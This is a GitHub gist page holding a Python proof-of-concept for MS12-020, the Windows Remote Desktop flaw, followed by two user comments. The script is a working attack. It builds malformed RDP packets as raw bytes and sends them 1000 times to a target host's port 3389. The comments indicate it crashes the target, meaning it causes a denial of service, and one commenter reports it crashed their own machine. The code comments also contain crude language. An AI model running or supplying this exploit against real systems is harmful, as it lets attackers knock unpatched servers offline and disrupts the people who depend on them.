Skip to content

Instantly share code, notes, and snippets.

@jamesejr
Created August 24, 2013 23:13
Show Gist options
  • Select an option

  • Save jamesejr/6330932 to your computer and use it in GitHub Desktop.

Select an option

Save jamesejr/6330932 to your computer and use it in GitHub Desktop.
MS12-020 Remote Desktop Protocol (RDP) Remote Code Execution PoC (Python)
#
#
# ms12-020 "chinese shit" PoC v2 (wireshark version)
#
# tested on winsp3 spanish, reported to work on Win7, win 2008
#
# original source: http://115.com/file/be27pff7
#
#
import socket
import sys
buf=""
buf+="\x03\x00\x00\x13" # TPKT, Version 3, lenght 19
buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00" # ITU-T Rec X.224
buf+="\x03\x00\x01\xd6" # TPKT, Version 3, lenght 470
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+="\x01\x01\x04\x01\x01\x01\x01\xff" # "Fuck you Chelios" packet
buf+="\x30\x19\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x02\x02\x04"
buf+="\x00\x00\x00\x00\x02\x04\x00\x00"
buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
buf+="\xff\xff\x02\x04\x00\x00\x00\x02"
buf+="\x30\x19\x02\x04\x00\x00\x00\x01"
buf+="\x02\x04\x00\x00\x00\x01\x02\x04"
buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
buf+="\x04\x20\x02\x04\x00\x00\x00\x02"
buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"
buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"
buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
buf+="\x00\x00\x02\x04\x00\x00\x00\x01"
buf+="\x02\x02\xff\xff\x02\x04\x00\x00"
buf+="\x00\x02\x04\x82\x01\x33\x00\x05"
buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"
buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"
buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"
buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"
buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"
buf+="\x00\x53\x00\x54\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x04\x00\x00"
buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x01\xca\x01\x00\x00\x00\x00"
buf+="\x00\x10\x00\x07\x00\x01\x00\x30"
buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x30\x00\x30\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"
buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"
buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"
buf+="\x00\x03\x00\x00\x00\x72\x64\x70"
buf+="\x64\x72\x00\x00\x00\x00\x00\x80"
buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"
buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"
buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"
buf+="\xc0"
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x04\x01\x00\x01\x00" # MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+="\x03\x00\x00\x08" #TPKT, Version 3, Length 8
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x28" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xef" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xeb" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xec"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xed"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xee"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0b" # TPKT, Version 3, Lenght 12
buf+="\x06\xd0\x00\x00\x12\x34\x00" #ITU-T Rec X.224
HOST = sys.argv[1]
PORT = 3389
for i in range(1000):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
print "sending: %d bytes" % len(buf)
s.send(buf)
rec = s.recv(100)
print "received: %d bytes" % len(rec)
s.close()
@iamtutu
Copy link
Copy Markdown

iamtutu commented Feb 17, 2016

just this work as the same old DoS service already in the wild, or this is the remote code execution vulnerability, as i can't seem to get my Hands on that

@viorage
Copy link
Copy Markdown

viorage commented Dec 19, 2019

This nuked my system, learned a big lesson today. Luckily I can just revert to an earlier snapshot

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment